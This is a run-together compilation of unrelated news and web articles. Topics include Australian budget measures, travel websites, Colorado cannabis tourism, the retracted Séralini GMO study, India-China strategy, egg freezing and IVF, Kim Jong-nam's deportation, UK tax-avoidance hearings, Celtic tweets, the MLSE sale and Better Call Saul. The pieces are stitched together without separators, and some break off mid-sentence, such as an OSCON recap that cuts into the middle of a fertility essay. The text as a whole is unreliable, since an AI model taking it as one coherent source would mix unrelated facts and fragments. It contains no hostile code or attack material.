The government will require senior bank executives to register with the Australian Prudential Regulation Authority, which can deregister them, disqualify them from executive positions and even strip them of bonuses for breaches of laws or systemic failures in their banks.
Banks will face bigger fines of $50m for small banks and $200m for big banks for breaching rules and will also be held to account if they try to hide executives’ misconduct.
The Australian Competition and Consumer Commission will undertake a residential mortgage banking inquiry until 30 June. It will be able to require banks to explain changes to mortgage prices, fees and interest rates.
The ACCC will also receive $13.2m to establish a unit to regularly inquire into financial system competition.
The government will create a $1.5bn “skilling Australians fund”, paid for, in part, by a $1.2bn levy on businesses that employ foreign workers, to apply from March 2018.
Budget 2017: Coalition 2.0 reboots in bid to jolt a political recovery | Katharine Murphy Read more
Businesses with a turnover of more than $10m will have to pay $5,000 upfront for each employee on a permanent work visa and $1,800 for each employee on a temporary skill shortage visa, the replacement for the current 457 visa class.
Businesses with a turnover of less than $10m will pay lower rates: $3,000 for employees on permanent work visas and $1,200 for employees on temporary skill shortage visas.
The skills fund will pay for up to 300,000 trade apprenticeships and traineeships in high-demand sectors and industries relying on skilled foreign workers.
In 2017-18 the fund will get $261.2m more than raised by the levy, but after 2018-19 it will rely on funding exclusively from the levy.
Despite the two new revenue hits the news is not all bad for business. The budget confirms the government’s intention to legislate the rest of its $48bn 10-year company tax cut plan, and continues the $20,000 instant asset write-off facility for small businesses below $10m turnover for another year.
The government estimates it will raise $318m in revenue by extending a black economy crackdown to contractors in the courier and cleaning industries. Businesses in these industries will be required to report payments to contractors to the Australian Taxation Office, as occurs in the building and construction industry.
The ATO will also get $32m for one year’s funding to continue policing the black economy in two programs targeted at businesses with less than $15m turnover. The budget papers estimate these programs will achieve a net gain of $447.2m.Most savvy travelers know of great resources like WikiTravel, but there are many other great sites for efficient packing, last minute booking and traveler networking that are well worth bookmarking whether you plan to travel locally or to exotic locations like Machu Picchu. Divided into 7 convenient categories, here are 20 of the best travel sites on the web and a few odds and ends with amazing urban travel.
Where to Travel and What to Do: Concierge helps readers make the first, most important decision relating to any trip: Where should I go? The site provides combination of constantly updated insider guides to the world’s top destinations and interactive tools allowing users to find the perfect place to match their tastes. Gridskipper is the decadent guide to the best in worldwide urban travel. Hotels, restaurants, clubs, flights, and sights all get their due, but we also pay lascivious attention to sex, entertainment, events, and insider advice on where to find the hottest local debauchery. On or off the grid, Gridskipper is another great urban blog that spotlights the upscale and the underbelly of global city culture.
Interactive Itineraries and Dynamic Maps: Exploring a Schmap Guide is a uniquely interactive experience: maps and guide content are dynamically integrated, allowing intuitive, real-time access to reviews and photo slideshows for places of interest. TripIt helps you quickly organize your vacation and business travel – no matter where you book. Automatically get itineraries with all your plans, weather, maps, restaurants and more. Easily access your itineraries via paper, email, personal calendar or mobile device. Share your trips and travel calendars with friends, family and fellow travelers.
Travel Guides and Tips: Lonely Planet has an unmatched reputation for producing well-researched, up-to-date information that travellers can depend on no matter where they’re going. Trip Advisor reports are subjective but overall an incredibly popular and respected resource with reviews, photos, links and map locations to help people determine where they want to stay.
Travel Blogs and Meetup Resources: Real Travel is a little bit of everything all in one place, though it is particularly useful for its travel blogs written by real travelers who sign up from around the world. Real travel boasts its multiple uses as a place to discover where to go, a trip planner and a deal finder. VirtualTourist: A great site for travelers by travelers with photos, tales of adventure, ideas for areas you might be interested in visiting, or just a stroll for an armchair traveler. TravBuddy is a great place for travelers to share their experiences with other travels. The atmosphere is friendly and it is used by many as a place not only to share knowledge but also, as the site title suggests, to find travel buddies.
Efficient Packing and Traveling: OneBag: There’s no question: overpacking tops the list of biggest travel mistakes. Thus this site, offering exhaustive (some might say exhausting!) detail on the art and science of traveling light, going pretty much anywhere, for an indefinite length of time, with nothing more than a single (carry-on sized) bag.
Mainstream Booking and Seating: Kayak: This site is essentially a travel search engine. Which means we search hundreds of travel sites from all over the world, provide the information to you in an easy-to-use display and send you directly to the source to make your purchase. SeatGuru: Detailed seat map graphics. In-depth seat specific comments denoting seats with limited recline, reduced legroom, mis-aligned windows. Color-coding to help identify superior and substandard seats. In-seat power port locations. Galley, lavatory, Exit Row and closet locations. For region-specific travel, though, to places like Peru and others, sometimes finding a niche site can lead to a better experience.
Other Lists of Top Travel Sites: Forbes has also compiled a top 13 travel sites list, though it features and rates mostly well-known sites much like Kiplinger’s to 25 list. At the other end of the spectrum, Luggage Online has compiled a list of 50 obscure travel sites you probably haven’t heard of. Not strange enough for you? You could always travel to supposedly haunted locations instead.
Be Sociable, Share!
Tags: cities, trips, urban, vacationsThe Amendment 64 task force recommended allowing
-- and if the legislature agrees, the decision would open the door to
Continue Reading
.
But the folks behind a company called My 420 Tours aren't waiting for lawmakers to sign off. They're actively promoting an April 17-23 vacation package they're calling World Cannabis Week, replete with events aplenty to captivate and entertain travelers with a taste for ganja.
Matt Brown, one of the principals behind My 420 Tours, will be familiar to longtime members of the marijuana community. He first stepped into the spotlight in 2009 as the executive director of Coloradans for Marijuana Regulation (CMMR), a business group that lobbied for legislation to empower the MMJ industry.
As such, he was a key player during the regulatory bill's progress through the Colorado general assembly, and he celebrated its passage in May 2010. But right around the moment of victory, CMMR imploded amid charges, counter-charges, backbiting and bad blood, leaving Brown on the outside looking in. The organization ultimately folded in February 2011, with Brown's successor, Betty Aldworth, moving on to become communications director for the Amendment 64 campaign.
As for Brown, he says he was "hired by the group that bought Full Spectrum Labs. My job was to figure out the science and make products. But by early 2011, we realized that no matter how much state licensing existed, federal repercussions to do research were too severe" -- so Brown and company relocated to Canada, where such testing is allowed.
Marijuana Deals Near You
Over the next year-plus, Brown worked for that firm, followed by "another natural health-products company." But the passage of Amendment 64 called him back to Colorado. "It opened up a lot of exciting possibilities," he notes -- among them My 420 Tours and World Cannabis Week.
"It's intended for people from out of state, and particularly on the East Coast, who don't have any idea of what's really going on here beyond what they've seen in the news," Brown says. "They're blown away by what Colorado is doing, but they don't know how to experience it."
How's the tour package work?
Continue for more about My 420 Tours and World Cannabis Week. Tourists will be picked up at the airport and transported to what's described as a 4/20-friendly hotel to begin a week's worth of activities, including attendance at the annual 4/20 rally at Civic Center Park, the High Times Cannabis Cup and a weekend concert at Red Rocks featuring Slightly Stoopid, Redman, Method Man and more. In addition, there'll be daily happy-hour parties (naturally, they'll get underway at 4:20 p.m.), plus assorted cannabis workshops, including cooking and growing classes and a hash-making lab, dispensary and cultivation-center tours and more.
"This is not about coming to Colorado to get wrecked and smoke as much pot as you can and be a degenerate stoner hippie," Brown stresses. "We've modeled World Cannabis Week as a cross between a wine tour of Napa Valley and the best concert or entertainment experience you can imagine."
As is the case for Napa Valley tourists, Brown goes on, participants in World Cannabis Week will be able to attend events "where they can use different products," including edibles. But the amounts won't be unlimited. "We're trying to stick as closely to the intention of the Amendment 64 task force as we can, so there'll be limits of a couple grams at a time. We're being mindful of how we as Coloradans can bring people in and show them our state without annoying the people who live here."
Is Brown concerned that regulations will not yet be in place when World Cannabis Week gets underway?
Continue for more about My 420 Tours and World Cannabis Week. "We've spent a lot of time thinking about that issue," he concedes, "and preparing ourselves to follow all the rules possible. We're in the same position as dispensaries in late 2009: We know rules are coming, but they're not yet defined. So our goal is to pass the sniff test in every way possible -- including providing transportation. We were adamant that we didn't want people coming to town, renting a car and driving around a strange city with a lot of weed.
"We're not trying to gamble and take huge risks and take the chance of having problems. Our goal is to be cautious and not push things too much."
After all, My 420 Tours doesn't want to be a one-shot operation. Brown envisions two to four branded events each year, with future offerings being simpler to manage, because regulations will presumably have passed by then. And that's not all.
"We'd like to be a gateway not only for people who say, 'I want to go to Colorado, but I don't know anybody there,' but also for film and TV companies. If Showtime was to launch a sequel to Weeds, they could do it right here and film in licensed grow centers. There are all kinds of opportunities for businesses not directly involved in growing and selling pot."
In the meantime, though, Brown is focused on World Cannabis Week, which he says will allow "anyone who wants to come and experience the future in Colorado."
For more information, phone 855-MY-420-TOUR (694-2086) or click here. Here's a video about the tour package.
More from our Marijuana archive: "Marijuana tourism recommended by task force -- but can rules prevent smurfing?"Since its publication in September 2012, a study that showed rats fed Monsanto’s glyphosate-resistant NK603 maize developed more tumors than controls has been roundly criticized for its poor experimental design and dubious statistical methods. Yesterday, the study was retracted.
The retraction was initiated by the journal Food and Chemical Toxicology after the authors refused to withdraw it themselves. Writes Barbara Casassus for Nature News:
The paper, from a research group led by Gilles-Eric Séralini, a molecular biologist at the University of Caen, France, and published in 20121, showed “no evidence of fraud or intentional misrepresentation of the data”, said a statement from Elsevier, which publishes the journal. But the small number and type of animals used in the study means that “no definitive conclusions can be reached”. The known high incidence of tumours in the Sprague-Dawley rat ”cannot be excluded as the cause of the higher mortality and incidence observed in the treated groups”, it added. Today’s move came as no surprise. Earlier this month, the journal’s editor-in-chief, Wallace Hayes, threatened retraction if Séralini refused to withdraw the paper, which is exactly what he announced at a press conference in Brussels this morning. Séralini and his team remained unrepentant, and allege that the retraction derives from the journal's editorial appointment of biologist Richard Goodman, who previously worked for biotechnology giant Monsanto for seven years.
Advertisement
The important thing to remember about GMOs is that they are merely one solution to an ancient human puzzle, viz. how do we feed ourselves, and how do we do it safely? Are they the end-all-be-all solution to challenges of agricultural productivity? Hardly. But neither are they unambiguously cancer-causing scourges upon humanity. Studies like this, which cut corners to arrive at a scary conclusion, undercut both sides of the GMO debate by painting one side as credulous and the other as obstinate.
Advertisement
What we need is solid science and a measured approach to interpretation. As Nature reporter Natasha Gilbert noted in her recent investigation of GM crops:
Tody stories, in favour of or against GM crops, will always miss the bigger picture, which is nuanced, equivocal and undeniably messy. Transgenic crops will not solve all the agricultural challenges facing the developing or developed world... but vilification is not appropriate either. The truth is somewhere in the middle."
Advertisement
More here.
Top photo via Shutterstock.The chips are down. China’s 19th party congress has rubberstamped support for President Xi Jinping’s ambition for a China-led world order in the future, the Americans are “woke” to that reality and India has an opportunity to make a differenceJapan’s Prime Minister Shinzo Abe has come back with a fresh mandate after a risky snap election to add his country’s considerable heft to the clarifying dynamic. Last year, Tokyo committed $200 billion for international infrastructure projects. India and Japan announced the Asia-Africa Growth Corridor in May to partner in development projects.These are concrete responses to China’s push for influence. In other words, facts on the ground are changing and a critical mass could make a difference. Australia is eager to join India, the US and Japan and complete the “quad” of democracies. It walked out the last time after China raised eyebrows — Chinese influence in Australian politics is a matter of fact, not conjecture. India will have serious questions but New Delhi has signalled it’s open to discussing the idea.India, the US and Japan have already been talking about an overall strategy to provide an alternative to China’s One Belt, One Road initiative (OBOR), and counter Beijing’s biggest strategic play. Just a few months ago, India stood in solitary splendour as the only major critic of OBOR as Xi celebrated in front of an impressive international audience of leaders and underlings.India now has company, with Washington loudly declaring that OBOR is nothing but “predatory economics” by another name. That most Asian countries are deeply worried about bargaining their sovereignty for development is no longer a secret. Five months after the high-voltage OBOR summit, more and more governments are wondering if they walked into a trap.But the starkest question facing Asia is whether the US under President Donald Trump’s leadership can maintain the balance of power in its favour, ensure order and help create more mechanisms to counter China’s ambition, reach and deep pockets. In other words, can it do a real pivot this time?Not for a minute should anyone doubt Xi’s resolve or the Chinese Communist Party’s unquestioning support for him, especially after the skilful elimination of potential rivals. His power is absolute and theories — hopes rather — that the system will crack under its own burdens are unrealistic as they always have been. The system hasn’t collapsed — it accommodates just enough to ease the pressure, letting nationalism take care of the rest.Yes, the game is unfair when one side is unencumbered and the other is bogged down in a million debates inherent to open, democratic systems. But that’s how Dangal unfolds in the real world.US Secretary of State Rex Tillerson’s Diwali speech and his subsequent visit to South Asia this week were a big step in providing an overall policy framework and much-needed coherence. Finally the State Department looked at India and China together instead of thinking of them as separate compartments in a dangerously archaic paradigm.Tillerson has proposed a partnership with India “for the next 100 years” in an attempt to project for the long term and give New Delhi confidence. The world needs the two countries to come together to ensure freedom of navigation, rule of law and free trade in the Indo-Pacific, he said. The speech was about India but it was also the Trump Administration’s first wellconsidered response to OBOR.Tillerson was sharply critical of China. He called Beijing out for violating international norms and subverting the sovereignty of its neighbours. No other administration has used the kind of direct language he did to challenge China.There is also more clarity in US policy on Pakistan than ever before and less room for Rawalpindi’s games, despite its apologists working overtime in Washington. The tone is different and the ultimatums to Pakistan to shut down the terrorist bazaar sound more real. But does the bark have a real bite or will the Americans go for another ride on the roller coaster of partial compliance, tactical delivery of hostages and terrorist leaders with no real change?The White House must hold firm on Pakistan and call its bluff. It should also stop worrying about Pakistan going completely into the Chinese camp – that bus left sometime ago and with encouragement from the previous administration when US officials and experts were happy that China was sharing the “burden” of Pakistan and Afghanistan.If the US holds firm on Pakistan, it will raise confidence levels in New Delhi and strengthen resolve to tackle the long-term threat of China. Tillerson’s speech and visit --both of which went down well in New Delhi – must be result-oriented. He has put India at the centre of a wider Indo-Pacific strategy. It is not a trap, as some fear, but an opportunity to build.And, no, India is not assuming the role of an American “vassal” in a “complex tug of war” as one newspaper editorialised but acting in its own national interest, which happens to find convergence with Japan and the US.I got home from Portland, OR terribly jet lagged on Monday morning, but buzzing from my trip to the US and my experience as both an attendee and speaker at O’Reilly OSCON. Now that I’ve caught up on some sleep, it’s probably about time I reflected on last week.
The first thing I noticed: OSCON is huge. Really. This year there were over 3,500 Open Source enthusiasts present. That’s a bit over 11x as the size of Australia’s OSDC and over four times the size of Australia’s biggest Open Source conference, Linux.conf.au. While they were spread over 15 streams at any one |
ation while a doctor collects the eggs by punching a series of holes into your ovaries and applying suction. If you have exceptional egg quality and produce six eggs in one cycle, there will probably be one reasonable attempt at pregnancy. To increase the odds of sufficient viable eggs to fertilize, egg freezing businesses advise at least two cycles. Assuming unlimited financial resources or a generous benefit package you may endure multiple cycles. With each round of powerful hormones and punctured ovaries the risk of complications and long term health consequences increase. Once flash frozen, your eggs are stored indefinitely for an annual fee ranging from $500 to $1,000.
Fast forward many months or even years into the future. You now attempt to get pregnant with your frozen eggs. Hopefully you have sufficient savings, or are still employed by Facebook or Apple, because you must now undergo at least one, but probably multiple rounds of invasive and life-altering in vitro fertilization (IVF) procedures.
You must again inject yourself with hormones, this time to prepare your uterus to welcome a potential embryo. You must open your entire emotional, social and professional schedule to daily blood tests, ultra sounds, vaginal probes and other assorted procedures that experienced women have referred to as "humiliating." I can attest to this.
If your uterus responds to the hormones, the frozen eggs must then be successfully thawed––-no easy task given low thaw survival rates. An egg’s shell hardens when frozen in liquid nitrogen so to attempt in vitro fertilization sperm must be injected directly into the egg with a needle to fertilize the egg through a technique known as ICSI (Intracytoplasmic Sperm Injection).
Again, if all goes well and at least one viable embryo is created in the laboratory, it is then transferred into your uterus. As with naturally occurring conception, the final outcome is in Mother Nature’s hands––-and she is clearly not incentive driven. The vast majority of procedures fail.
The Emotional Toll and Lack of Oversight
The emotional toll associated with family-building failure can be crushing. The scientific fascination with the latest protocol and the marketing of fertility procedures as a lifestyle enhancer the past few decades has unwittingly led to a disregard for the emotional responses of these medical procedures, which creates a different kind of health concern – one involving mental health. Studies have shown that people coping with fertility failures are as distressed as cancer patients. Many others suffer depression and post-traumatic stress disorder.
These negatives are conveniently overlooked by those selling services. You will not find failure rates or the harmful impacts highlighted in brochures or on clinic websites. In the U.S. this unregulated industry’s nickname is the Wild, Wild West of American medicine.
This lack of oversight has emboldened the more entrepreneurial doctors and service providers and led to mixed messages. While the ASRM’s practice committee advised that “there was still not enough known about the egg freezing procedure’s safety, efficacy, cost-effectiveness, and emotional risks” and cautioned against the widespread use because it may “give women false hope and encourage women to delay childbearing,” the ASRM annual meeting, held this week in Honolulu, included this session: Fertility Preservation Patients: How to Re-engineer your Practice to Accommodate Them. It was conducted not by an M.D., but by someone with an MBA.
>When it comes to reproductive medicine it is buyer beware.
This meeting boasted the slogan: “Surfing the Waves of Change in Reproductive Medicine,” with a program cover showing a silhouette of a lone woman surfing big waves. The subliminal message suggesting that reproductive medicine is fun and carefree could not be further from the truth, as my own experience exemplifies. After my IVF trials failed, none of the clinics bothered to follow up to find out how I was doing, not even after the loss of alpha pregnancies. They were too busy selling to the next consumer — complete with collateral boasting pictures of women cradling babies. The unrelenting focus on commercial returns means there are no consumer protections in place for the customers buying these expensive services. When it comes to reproductive medicine it is buyer beware.
There is big money to be made in selling dreams of parenthood. A report by Allied Analytics LLP estimates that the net worth of the IVF market at the end of 2012 was US $9.3 billion, a figure that is estimated to increase to $21.6 billion by 2020.
Commercial clinics have become cash cows. In an article on reproductive technology, a business journalist and former egg donor reported that universities with medical school programs often host reproductive endocrinology departments that make enough money from IVF treatments to fund entire schools within the university. Generally, fertility doctors are among the highest-paid employees at private universities.
Yet if pay for performance (as in live births) were the metric by which they were paid there would be much smaller pools of capital available.
The Bottom Line
Today service providers and clinics cavalierly market egg freezing to fertile women without fully understanding or communicating the risks. Though I am neither for nor against egg freezing as an idea, I believe strongly that women must be fully informed about reproductive medicine before setting their hopes on it. Facebook and Apple and all companies would do well by their employees to hold fertility vendors to the highest possible standards and not inadvertently put worker’s physical and mental health in jeopardy. Unlike smartphones or apps that can be recalled or re-engineered should they fail, egg freezing and IVF are high-risk processes with life changing consequences. And this science, particularly where egg freezing is concerned, is still in its infancy.Japan expels N Korean leader's'son'
Japan has deported a man who identified himself as the son of North Korean leader Kim Jong-il, after he was arrested for travelling on a false Dominican passport. The man, along with two women and a four-year-old boy who had arrived in the country with him, boarded an All Nippon Airways flight bound for Beijing.
According to some reports, the Chinese authorities agreed to accept the man - believed to be Kim Jong-nam - as part of a deal to avoid a diplomatic incident. He had been in custody since Tuesday, when he arrived at Tokyo's Narita International Airport and admitted that he had paid $2,000 each for the fake passports for him and his travelling companions. He said he wanted to visit Tokyo Disneyland. Japan has no diplomatic relations with North Korea and has been alarmed by the country's missile tests in recent years.
If the man is actually Kim Jong-nam, he is the likely heir to North Korea's reclusive leader, Kim Jong-il. BBC Tokyo correspondent Charles Scanlon says that the fact that he is being sent to China indicates that the authorities believe his story. Little is known about the family of Kim Jong-il, but South Korean sources say he has three children by three different women. Kim Jong-nam, the eldest, is believed to have been born in 1971 to Sung Hae Rim, who apparently never married his father. Children of Kim Jong-il Son, Kim Jong-nam, born 1971 Daughter, Kim Sul Song, born 1974 Son, Kim Jong Chul, born 1981 Ms Sung was reported to have defected to the West in 1996, but South Korean intelligence sources denied the report. More recent reports suggest she is in Moscow, receiving treatment for depression. The North Korean leader's official wife is Kim Young Sook, the mother of Mr Kim's only daughter, Kim Sul Song. Travel difficulties Kim Jong-nam spent part of his childhood in Geneva and Moscow, and is thought to be a computer expert.
He is reported to have travelled to Japan twice last year. But correspondents say North Korea's diplomatic isolation would make it difficult for Kim Jong-nam to enter the country under his own identity. Pyongyang only has diplomatic relations with a handful of Western countries, so North Koreans may have little option but to use forged passports and make their journeys clandestinely. Experts say that North Korea is a known source of forged passports and counterfeit dollars.Media playback is unsupported on your device Media caption Amazon's Andrew Cecil was condemned by MPs for failing to answer questions
Executives from some of the world's most-recognised firms have been grilled by MPs on the issue of tax avoidance.
The head of Google UK and top managers from Starbucks and Amazon appeared before the Public Accounts Committee.
Starbucks admitted the Dutch government had granted a special tax deal on its European headquarters, which receives royalty payments from its UK business.
Amazon and Google also confirmed they used favourable European tax jurisdictions for their UK businesses.
Amazon's sales are handled out of Luxembourg, while Google's advertising space is sold by a team in the Republic of Ireland, the executives confirmed.
Margaret Hodge, who chairs the parliamentary committee, told the BBC that she thought it was right for customers to boycott the three companies.
"One of our concerns is that the ability of global companies to choose where to they put their costs and their profits gives them an unfair tax advantage that damages UK-based businesses," she said.
No analysis
Starbucks has reported a taxable profit only once in its 15 years of operating in the UK.
"We're not at all pleased about our financial performance here," the coffee chain's chief financial officer Troy Alstead told the committee. "The most competitive coffee and espresso market we face is here in the UK."
A four-month investigation by news agency Reuters revealed that Starbucks reportedly paid just £8.6m in corporation tax in the UK over 14 years - including reporting accounting losses when it was profitable.
Ms Hodge questioned why the company even continued to do business in the UK, if it was making such perennial losses.
We're not accusing you of being illegal, we're accusing you of being immoral Margaret Hodge, Chair of the Public Accounts Committee
The taxable profits of its UK business are calculated net of the royalty paid to its Netherlands regional headquarters.
Mr Alstead said that these royalties were subject to a combined tax rate in the Netherlands and the US of approximately 16%. The UK's main corporation tax rate is 24%.
Starbucks' royalty rate used to be 6% of sales, but was recently reduced to 4.7% after being challenged by the UK tax authorities.
The chief financial officer said the 6% royalty rate was paid by its businesses in other countries, including by independent licensees in 20 countries.
He said the royalty reflected costs incurred by the business outside the UK - including new products, store layout design, new machinery development and engineering services.
However, when challenged by the committee, he admitted that there was no detailed analysis of costs behind the 6% figure.
He denied that the Netherlands had been chosen as the company's regional headquarters because of its favourable tax rate, saying it was because the company had a major roasting plant located there.
All of Starbucks' businesses worldwide, including in the UK, buy their coffee from its Switzerland office, Mr Alstom also said, which charged a 20% markup on the price at which it bought its coffee in the wholesale market. The Swiss office paid a 12% tax rate on its profits, he said.
Image caption Starbucks is one of several High Street names that have been accused of not paying enough tax
Mr Alstom insisted that the company does not use any tax havens, and pays a high tax rate worldwide.
Luxembourg HQ
MPs expressed frustration with Amazon's director of public policy, Andrew Cecil, who repeatedly said he would have to come back at a later date with information requested by the committee.
The information included the value of Amazon's sales in the UK, the pre-tax profits of the European company and the ownership structure of the European company.
Mr Cecil explained that sales on the amazon.co.uk website - and in all other European countries - were actually made by its Luxembourg-based European business, which employs 500 people.
Amazon's UK business, which employs about 15,000 people to manage deliveries, warehousing and other aspects of the UK business, operates as a service provider to the European company.
As such, the profits on the mark-up on the sales price are booked by the Luxembourg company.
Mr Cecil said that the Luxembourg business's turnover in 2011 was 9.1bn euros. It paid taxes of 8m euros and posted after-tax profits of 20m euros.
Corporation tax for [multinationals] operating in the UK is close to being a voluntary payment Lord Myners Corporation tax: Easy to avoid?Does Starbucks face'mini-boycott'?
He said that Amazon had never publicly disclosed the country-by-country breakdown of its European sales.
According to a report by the Guardian, Amazon generated sales of more than £3.3bn in the UK last year but paid no corporation tax on any of the profits, and is under investigation by the UK tax authorities.
Mr Cecil confirmed that the company had received a 200m-euro payment demand from the French tax authorities, but refused to divulge whether any other countries were investigating the company's tax dealings.
Tax haven
Like Amazon, Google also operates its European business out of a favourable tax jurisdiction - in its case the Republic of Ireland - according to Matt Brittin, who runs company's northern European businesses.
He openly admitted that the choice of Ireland was due to its favourable 12.5% corporation tax rate.
He also confirmed that the rights to the company's non-US intellectual property rights were owned in the tax haven of Bermuda, saying that the company had a duty to shareholders to minimise its costs.
He further freely accepted that until recently, the Ireland company was paying a fee to a separate Dutch company within Google, purely for the purpose of reducing its taxes.
Like the other executives, Mr Brittin insisted that nothing his employer did was illegal, prompting the committee chair, Ms Hodge, to say: "We're not accusing you of being illegal, we're accusing you of being immoral."
Google's UK unit paid just £6m to the Treasury in 2011 on UK turnover of £395m, according to the Telegraph.
Google earns revenues in the UK when users of its UK search website click on links that business customers have paid Google to list at the top of the results for particular search terms.
Mr Brittin said this advertising space was sold by a team of 3,000 salespeople in its Ireland office - of which 200 deal with UK business customers.
However, he also admitted that the company employed 700 marketing consultants in the UK who, among other things, would refer clients to the Ireland sales team.
The executive insisted that the primary value provided by the company in the UK was not the sale of advertising space, but provided by its 17,000 engineers in California that creates the company's innovative technology - such as its search engine, mapping and translation services - which are mostly provided for free.Celtic won against St. Johnstone in the Scottish Premiership on Saturday.
Celtic's James Forrest
Celtic fans have taken to social networking site Twitter to give their reaction to the performance of James Forrest against St Johnstone on Saturday afternoon.
Forrest featured for Celtic in the Scottish Premiership game against St Johnstone away from home at McDiarmid Park in Perth.
The 25-year-old winger started the match and played for 71 minutes, as Brendan Rodgers’ side registered a comfortable 4-2 victory.
The Scotland international played an important role in the win and also scored a goal.
Miguel Pallardo (R) in action with James Forrest
Over the course of the 90 minutes at McDiarmid Park in Perth on Saturday afternoon, hosts St. Johnstone had just 32% of the possession, took seven shots of which five were on target, and earned only one corners, according to BBC Sport.
Visitors Celtic had 68% of the possession, took 19 shots of which five were on target, and earned six corners, according to BBC Sport.
Celtic fans have taken to Twitter to give their reaction to the performance of Forrest against St Johnstone at McDiarmid Park in Perth on Saturday afternoon.
Below are some of the best comments:
Celtic's James Forrest (R) celebrates
What a goal by Forrest. THAT'S the guy I remember voting for to win young player of the year a few seasons ago. — Kev (@kev_cfc1888) August 20, 2016
How good are the hoops looking?
Forrest looks like a new player......the player we have craved him to be.
I'm going for 6-0 — Paddy Bhoy Cfc (@FreshStartBC) August 20, 2016
Brown and Forrest are like two new signings. — Glasgow Celtic FC (@TunesCfc) August 20, 2016
I'll admit I'm one of Forrest's biggest critics but that finish was different class! — Kieran Kilpatrick (@KieranK92CFC) August 20, 2016
Put ma hands up said wee Forrest was finished. Proved wrong wee man playing out of his skin for us. Same as the whole team the hoops — hoopsbhoy (@johnnybhoy86) August 20, 2016
Celtic 3-0 up at half time. Great performance. Forrest looks like a different player. #Celtic
Hoops abú — Breandán Ó Luaois (@o_luaois) August 20, 2016
Brilliant half from the hoops wee Forrest has be immense yet again took his goal well — Andrew Hamilton (@djpoodle83) August 20, 2016
Celtic's James Forrest (R) celebratesThe Toronto Maple Leafs have some new owners as telecom giants Rogers and Bell Canada are teaming up to buy a majority stake in Canada's biggest sports franchise company, Maple Leaf Sports & Entertainment, for about $1.07 billion.
The two companies, fierce rivals in the business of cellphone and Internet services, said Friday they will each pay current owner the Ontario Teachers' Pension Plan about $533 million for a 37.5 per cent chunk of the sports ownership company.
Through his company Kilmer Sports, minority owner Toronto businessman Larry Tanenbaum will boost his current stake in MLSE by five per cent to 25 per cent, bringing the total value of the company to just shy of $2 billion.
MLSE owns the Leafs of the NHL, the NBA's Toronto Raptors, Major League Soccer's Toronto FC, the Toronto Marlies of the AHL and the Air Canada Centre.
What are they worth? Value (in millions US) of major teams under MLSE control, according to most recent studies by Forbes: Maple Leafs (NHL): $521 Raptors (NBA): $399 Toronto FC (MLS): $44* *2008 value. All others 2011. —CBCSports.ca
The deal helps slake the telecom giants' thirst for sports content to broadcast on screens of all sizes. The two rivals have put their differences aside before, teaming up to form a media consortium that brought viewers the 2010 Vancouver Olympics on Rogers Sportsnet channels and Bell-owned CTV and TSN.
"What this really brings to the fans is access to the four professional teams in a way quite frankly none of us thought possible 36 months ago," George Cope, president and CEO of Bell Canada parent BCE Inc. (TSX:BCE), said at a news conference.
"The Canadian telecom industry, wireless industry, leads the world in technology. Making that available to everyone in every market we think will be one of the huge benefits to the fans and quite frankly to the NHL, and the other sports organizations."
The heads of both Rogers and Bell declared the deal a victory for sports fans and one that will keep the company in Canadian hands.
"This is a perfect fit for Bell from a strategic perspective" as it dovetails nicely with the company's acquisition last year of the CTV television network and its TSN sports channel, Cope added.
Rogers already owns the Toronto Blue Jays baseball team and their stadium, the Rogers Centre, as well as the broadcaster Sportsnet.
More and more Canadians want to watch live sports on wireless devices when they're on the go, and MLSE offers some of the richest, most sought-after content in North America, said Rogers chief executive Nadir Mohamed.
"This investment will secure us access to this iconic brand and content It will keep ownership of MLSE in Canadian hands and that's an important point. It will substantially bolster Sportsnet and will complement our existing world-class portfolio of sports properties."
The surprise deal, worth about $1.32 billion, came a few weeks after Teachers' announced it had given up trying to sell the stake in sports company, which it bought 17 years ago for $180 million.
Shortly after that, Bell and Rogers (TSX:RCI.B) stepped forward with a bid that met all of its original terms and conditions, Teachers' said.
"We are proud of this iconic company, in which we first invested in 1994," Jane Rowe, senior vice-president of Teachers' Private Capital said in a statement.
"It is second to none in the industry and has a very bright future. We believe that Bell and Rogers, with their MLSE partner Kilmer Sports, will deliver on the company's potential."
"We will continue to cheer for the teams and look forward to celebrating their success, but after the summer, from the sidelines," she added later at a news conference.
Tanenbaum will remain as chairman of MLSE and as a governor of the NHL, the NBA and Major League Soccer.
"I am proud this is a made-in-Canada deal that will bring resources and expertise to help us win on and off the ice, court and pitch," Tanenbaum said.
"This is a terrific path forward for our teams and our fans. It will ensure MLSE continues to make a positive impact in Toronto and across this great country of ours."Copyright by WVNS - All rights reserved
"Together we stand, divided we fall," Pastor William Fruit at Sky Ministries in Beckley said.
Just within the past month, Beckley has seen six shootings and one armed robbery. I spoke with the Pastor William Fruit at Sky Ministries in Beckley. Where a month ago, Shaquille Clark was killed just down the street from the church. He said it's time for the community to come together.
"We need to always be ready to extend a hand to those that are maybe less fortunate then we are," Fruit said.
Fruit believes it's time for members here in the community to step up and teach the young kids the difference what's right and what's wrong.
"When I was going to school we learned the three R's: reading, writing, and arithmetic, now they tell me they do the three R's too: running, rapping and robbing and we find out that's not a good situation," he said.
And it's not just a problem here in Beckley and Raleigh County, Fruit said across all counties, pastors and families need to come together to see what is and what's not working in each community.
"We must take a stand and come together and see what we can do," Fruit said.0
Though Breaking Bad the series is now over, it appears that the Bad universe will live on for some time. AMC sought to extend the life of its incredibly popular drama series by ordering a prequel spinoff focusing on Bob Odenkirk’s Saul Goodman character, and now Breaking Bad creator Vince Gilligan is working with Better Call Saul showrunner (and creator of the Goodman character) Peter Gould to shape the vision of the series. Initially envisioned as a half-hour comedy, Gilligan now says he and Gould have decided to expand the show to an hourlong format that will be shot in Albuquerque and maintain the visual palette of Breaking Bad. Moreover, Bryan Cranston and Aaron Paul are expected to pop up on Better Call Saul in a cameo capacity, reprising their lead Breaking Bad characters.
Hit the jump for much more, including what Gilligan’s upcoming projects might entail.
As part of an extensive and fascinating profile of the showrunner by THR, Gilligan talked a bit about his plans for Better Call Saul and what the spinoff will entail. Though Gilligan and Gould initially thought about crafting a half-hour comedy series, the duo weren’t comfortable with that format and eventually decided to expand the show to an hourlong series:
“We’re both one-hour drama guys,” he says, but more to the point, they realized that so much of what they enjoyed about Breaking Bad was the show’s visual elements. “So we figured, ‘Why not shoot Saul in the same way?’ Let’s shoot it in Albuquerque, let’s get as much of the crew back together as possible, and let’s do it the way we did it before so that it will be of a piece with that pre-existing fictional universe that we had so much fun creating.”
